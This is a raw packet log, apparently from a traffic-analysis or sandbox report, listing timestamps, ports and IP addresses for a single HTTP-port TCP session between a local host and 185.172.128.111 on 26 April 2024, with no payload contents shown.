Apr 26, 2024 09:41:04.467602968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.467653990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.467664003 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.467703104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.467751026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.467791080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.467814922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.467833996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.467844963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.467856884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.467885017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.467895031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.467897892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.467909098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.467936039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.467962980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.469939947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.469975948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.470025063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.470048904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.470145941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.470177889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.470206022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.470237970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.470272064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.470324993 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.470331907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.470379114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.471005917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.471036911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.471066952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.471067905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.471095085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.471127033 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.474873066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.474906921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.474967003 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.474980116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.474994898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.475012064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.475027084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.475055933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.475064993 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.475086927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.475106001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.475132942 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.475136995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.475164890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.475188971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.475197077 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.475214005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.475229025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.475245953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.475260019 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.475279093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.475290060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.475311041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.475342035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.478368044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.478576899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.478753090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.478786945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.478821039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.478832006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.478857040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.478864908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.478887081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.478903055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.478919029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.478934050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.478948116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.478966951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.478981972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.478996992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479013920 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479027987 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479044914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479058027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479077101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479089022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479109049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479121923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479139090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479155064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479238987 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479242086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479242086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479269981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479300022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479300976 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479326010 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479331970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479352951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479384899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479414940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479445934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479471922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479476929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479507923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479507923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479528904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479540110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479559898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479569912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479598045 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.479599953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.479670048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481257915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481298923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481336117 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481337070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481374025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481380939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481408119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481436014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481534958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481589079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481669903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481709957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481735945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481748104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481765032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481786013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481800079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481822968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481838942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481861115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481873035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481899023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481910944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481936932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481950998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.481975079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.481992006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482013941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482026100 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482050896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482064962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482089043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482105970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482137918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482192039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482229948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482244968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482279062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482284069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482321024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482340097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482357979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482371092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482395887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482408047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482433081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482445002 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482470989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482484102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482508898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482518911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482546091 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482558012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482584000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482604980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482635021 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482635975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482671976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482685089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482708931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482728958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482744932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482775927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482783079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482810974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482821941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482834101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482858896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482873917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482897043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482914925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482933044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482954979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.482969999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.482986927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483007908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483030081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483043909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483059883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483082056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483104944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483119965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483135939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483156919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483177900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483194113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483222961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483231068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483246088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483267069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483288050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483304977 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483326912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483344078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483361959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483385086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483405113 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483422041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483447075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483458996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483473063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483496904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483513117 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483535051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483551979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483571053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483587980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483608007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483619928 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483644009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483669043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483680010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483695030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483717918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483731985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483753920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483768940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483789921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483798027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483827114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483838081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483865023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483875990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483903885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483916044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483942032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483953953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.483978033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.483994007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484014988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484030008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484051943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484078884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484087944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484123945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484143972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484160900 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484198093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484208107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484234095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484246969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484270096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484282970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484308004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484323025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484345913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484357119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484385014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484400034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484421015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484435081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484457970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484477997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484493971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484507084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484534025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484544992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484570980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484585047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484608889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484626055 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484646082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484656096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484683990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484720945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484728098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484754086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484757900 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484785080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484793901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.484812975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.484858990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.485985994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486022949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486054897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486059904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486082077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486097097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486118078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486134052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486149073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486171961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486203909 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486208916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486227036 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486246109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486264944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486284018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486299038 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486320972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486341000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486357927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486371994 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486394882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486411095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486433029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486444950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486469984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486483097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486506939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486515999 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486545086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486557961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486582994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486593008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486618996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486629963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486655951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486670017 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486694098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486705065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486731052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486746073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486768007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486784935 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486804962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486826897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486840010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486857891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486879110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486898899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486916065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486936092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486953020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.486970901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.486989975 CEST	80	49730	185.172.128.111	192.168.2.4
